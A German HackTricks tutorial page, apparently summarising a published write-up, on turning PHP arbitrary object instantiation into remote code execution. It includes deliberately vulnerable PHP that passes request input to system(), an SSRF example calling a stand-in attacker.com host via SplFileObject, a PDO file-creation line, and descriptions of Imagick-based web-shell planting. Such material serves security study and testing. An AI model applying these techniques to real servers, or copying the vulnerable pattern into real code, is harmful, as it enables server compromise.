# PHP - RCE Missbrauch der Objekterstellung: new $\_GET\["a"]\($\_GET\["b"])
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
Dies ist im Wesentlichen eine Zusammenfassung von [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Einführung
Die Erstellung neuer beliebiger Objekte, wie z.B. `new $_GET["a"]($_GET["a"])`, kann zu Remote Code Execution (RCE) führen, wie in einem [**Writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) detailliert beschrieben. Dieses Dokument zeigt verschiedene Strategien zur Erreichung von RCE auf.
## RCE über benutzerdefinierte Klassen oder Autoloading
Die Syntax `new $a($b)` wird verwendet, um ein Objekt zu instanziieren, wobei **`$a`** den Klassennamen darstellt und **`$b`** das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Zeichenketten oder Arrays sein können, oder aus JSON, wo sie als andere Typen vorliegen können.
Betrachten Sie den folgenden Codeausschnitt:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
In diesem Fall führt das Setzen von `$a` auf `App` oder `App2` und `$b` auf einen Systembefehl (z. B. `uname -a`) zur Ausführung dieses Befehls.
**Autoloading-Funktionen** können ausgenutzt werden, wenn keine solchen Klassen direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und werden mit `spl_autoload_register` oder `__autoload` definiert:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
```
Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet verschiedene Möglichkeiten für RCE.
## RCE über integrierte Klassen
Fehlen benutzerdefinierter Klassen oder Autoloader, können **integrierte PHP-Klassen** für RCE ausreichen. Die Anzahl dieser Klassen variiert je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit `get_declared_classes()` aufgelistet werden.
Interessante Konstruktoren können mithilfe der Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) gezeigt.
**RCE über bestimmte Methoden umfasst:**
### **SSRF + Phar-Deserialisierung**
Die Klasse `SplFileObject` ermöglicht SSRF über ihren Konstruktor und ermöglicht Verbindungen zu beliebigen URLs:
```php
new SplFileObject('http://attacker.com/');
```
SSRF kann zu Deserialisierungsangriffen in PHP-Versionen vor 8.0 führen, indem das Phar-Protokoll verwendet wird.
### **Ausnutzen von PDOs**
Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Zeichenketten und ermöglicht potenziell die Erstellung von Dateien oder andere Interaktionen:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Versionen von PHP bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die Konstruktoren `SoapClient` und `SimpleXMLElement`, abhängig von der Version von libxml2.
## RCE über Imagick-Erweiterung
Bei der Analyse der **Abhängigkeiten eines Projekts** wurde festgestellt, dass **Imagick** für die **Befehlsausführung** genutzt werden kann, indem neue Objekte instanziiert werden. Dadurch ergeben sich Möglichkeiten zur Ausnutzung von Schwachstellen.
### VID-Parser
Es wurde festgestellt, dass der VID-Parser Inhalte in einem beliebigen angegebenen Pfad im Dateisystem schreiben kann. Dadurch kann eine PHP-Shell in einem webzugänglichen Verzeichnis platziert werden, um Remote Code Execution (RCE) zu erreichen.
#### VID-Parser + Datei-Upload
Es ist zu beachten, dass PHP hochgeladene Dateien vorübergehend in `/tmp/phpXXXXXX` speichert. Der VID-Parser in Imagick kann mit dem **msl**-Protokoll Platzhalter in Dateipfaden verarbeiten, um die temporäre Datei an einen ausgewählten Ort zu übertragen. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben.
### PHP-Crash + Brute Force
Eine Methode, die in der [**ursprünglichen Beschreibung**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beschrieben wird, beinhaltet das Hochladen von Dateien, die einen Serverabsturz verursachen, bevor sie gelöscht werden. Durch Brute-Force des Namens der temporären Datei wird es Imagick ermöglicht, beliebigen PHP-Code auszuführen. Diese Technik ist jedoch nur in einer veralteten Version von ImageMagick wirksam.
## Referenzen
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.